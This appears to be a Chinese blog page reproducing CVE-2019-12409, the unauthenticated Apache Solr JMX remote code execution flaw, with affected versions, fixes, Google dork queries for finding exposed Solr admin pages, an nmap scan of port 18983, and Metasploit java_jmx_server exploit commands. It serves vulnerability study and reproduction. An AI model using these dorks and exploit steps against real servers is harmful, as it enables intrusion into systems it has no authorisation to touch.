漏洞分析

https://www.freebuf.com/vuls/218730.html

漏洞介绍

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。ApacheSolr的8.1.1和8.2.0版本自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值=18983),并且无需进行任何身份验证。如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

影响版本

Apache Solr 8.1.1

Apache Solr 8.2.0版本

Apache Solr 7.7.2版本也可以命令执行

前提条件

1.默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。

2.符合版本要求

3.Linux 用户

修复方法

1、保证 Solr 集群只能被可信任端点访问;

2、启用 Solr JMX 服务身份验证;

3、关闭 Solr JMX 服务。

谷歌语法

intitle:"Solr Admin" "Solr Query Syntax"

intitle:"Solr Admin" "Core Admin" "Thread Dump"

全版本下载地址

http://archive.apache.org/dist/lucene/solr/

环境搭建与复现

https://mp.weixin.qq.com/s/rtdMC6zVxC6XXlIqggcwYA

搭建环境 下载安装Apache Solr 8.20

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

unzip solr-8.2.0.zip # 解压

cd /bin

./solr start -force # 启动Solr服务  如果服务内存不足的会报错没有监听8983端口,可以尝试这条命令

./solr start -e cloud -force  (图为报错图)

利用nmap扫描端口,确认18983端口开放

nmap -p 18983 -Pn -T5 -n -sC -sV 10.10.20.166 -sC -sV

批量验证

https://mp.weixin.qq.com/s/yP4SE6WC-SnA-bJW0FGWDg

文章里利用的工具

https://github.com/k8gege/SolrExp

利用msf利用模块

https://www.cnblogs.com/dddjh/p/11896624.html

use exploit/multi/misc/java_jmx_server    #选择模块

set rhost 192.168.2.128                           #设置目标ip

set rport 18983                                        #设置端口

run

返回成功

CVE-2019-12409-Apache Solr JMX服务远程代码执行的更多相关文章

  1. Apache Solr JMX服务远程代码执行漏洞复现

    0x00 漏洞介绍 该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险. Apache Solr的8.1.1和8.2.0版本的自带配置文件s ...

  2. Apache Solr应用服务器存在远程代码执行漏洞👻

    Apache Solr应用服务器存在远程代码执行漏洞 1.描述 Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的. Solr是一个高 ...

  3. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  4. Apache Solr Velocity模板远程代码执行

    更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. 这里用的docker环境 很简单的 在这里不再介绍 本地搭建好环境然后访问8983端口 网页如下: 查下节点名称 同样名字可以访问http ...

  5. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  6. [转帖]安全公告【安全公告】CVE-2019-0708远程桌面服务远程代码执行漏洞

    [安全公告]CVE-2019-0708远程桌面服务远程代码执行漏洞 https://www.landui.com/help/nshow-9716.html 漏洞层出不穷 漏洞信息: 2019年5月14 ...

  7. Apache Struts最新漏洞 远程代码执行漏洞预警 2018年11月08日

    2018年11月8日,SINE安全监控检测中心,检测到Apache Struts官方更新了一个Struts漏洞补丁,这个漏洞是Apache Struts目前最新的漏洞,影响范围较广,低于Apache ...

  8. Apache Shiro (Shiro-550)(cve_2016_4437)远程代码执行 - 漏洞复现

    0x00 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie.在服务端对rememberMe的cookie值, 先ba ...

  9. Struts 2再曝远程代码执行漏洞S2-037

    导读今年4月份,Apache Stuts 2之上发现的S2-033远程代码执行漏洞,以迅雷不及掩耳之势席卷而来.其利用代码很快就在短时间内迅速传播.而且官方针对这个高危漏洞的修复方案还是无效的. 悲剧 ...

随机推荐

  1. Codeforces Round #654 (Div. 2) B. Magical Calendar (结论)

    题意:你需要在长度从\(1\)~\(k\),宽度无限的网格图中造图形(每个点四周必须连通),问最多能造出多少种不同的图形. 题解:感觉没什么好说的,就是画图找规律,如果\(r\ge n\)的话(即没有 ...

  2. Python 遭遇 ProxyError 问题记录

    最近遇到的一个问题,在搞清楚之后才发现这么多年的 HTTPS_PROXY 都配置错了! 起因 想用 Python 在网上下载一些图片素材,结果 requests 报错 requests.excepti ...

  3. kubernetes实战-交付dubbo服务到k8s集群(二)交付jenkins到k8s集群

    首先下载jenkins镜像并上传到我们自己的私有仓库:7-200 # docker pull jenkins/jenkins:2.190.3 # docker tag 22b8b9a84dbe har ...

  4. Splunk监控软件操作

    一.  Splunk公司与产品 美国Splunk公司,成立于2004年,2012年纳斯达克上市,第一家大数据上市公司,荣获众多奖项和殊荣.总部位于美国旧金山,伦敦为国际总部,香港设有亚太支持中心,上海 ...

  5. 一个C++源文件从文本到可执行文件经历的过程

    一个C++源文件从文本到可执行文件经历的过程 以Hello World为例进行说明 首先我们编写一个cpp源程序 test.cpp #include <iostream> using na ...

  6. element-ui & babel-plugin-component config bug

    element-ui & babel-plugin-component config bug vue-cli bad babel.config.js module.exports = { pr ...

  7. Sass && SCSS && Less

    1 1 1 Sass && SCSS && Less 在线SCSS编辑工具: http://www.sassmeister.com/ Sass v3.4.21 1 tu ...

  8. how to install MySQL on macOS

    how to install MySQL on macOS MySQL Community Server 8.0.21 # version $ mysqladmin --version # 8.0.2 ...

  9. svg & regex

    svg & regex https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reg ...

  10. js 如何取消promise

    1: 使用reject function hello() { let _res, _rej: any; const promise = new Promise((res, rej) => { _ ...